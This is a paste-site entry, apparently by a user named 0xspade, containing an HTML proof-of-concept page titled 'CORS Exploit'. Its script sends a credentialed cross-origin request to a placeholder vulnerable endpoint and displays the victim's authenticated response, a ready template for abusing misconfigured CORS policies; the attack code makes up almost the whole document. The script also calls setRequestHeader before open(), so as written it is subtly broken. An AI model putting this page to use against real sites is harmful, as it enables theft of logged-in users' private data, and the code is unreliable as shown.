0xspade icon

CORS Exploit

0xspade | PRO | 07/08/17 09:20:14 AM UTC | 0 ⭐ | 764 👁️ | Never ⏰ | []
HTML |

780 B

|

None

|

0 👍

/

0 👎

<!DOCTYPE html>
<html>
    <head>
        <title>CORS PoC Exploit</title>
    </head>
    <body>
        <center>
 
            <h1>CORS Exploit</h1>
                <hr>
            <div id="demo">
                <button type="button" onclick="cors()">Exploit</button>
            </div>
            
            <script type="text/javascript">
                function cors() {
                    var xhttp = new XMLHttpRequest();
                    xhttp.setRequestHeader("Content-Type","text/plain");
                    xhttp.withCredentials = "true";
                    xhttp.onreadystatechange = function() {
                        if(this.readyState == 4 && this.status == 200) {
                            document.getElementById("demo").innerHTML = this.responseText;
                        }
                    };
                    xhttp.open("GET", "Vulnerable_Endpoint_Goes_Here", true);
                    xhttp.withCredentials = true;
                    xhttp.send();
                }
            </script>
 
        </center>
    </body>
</html>

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎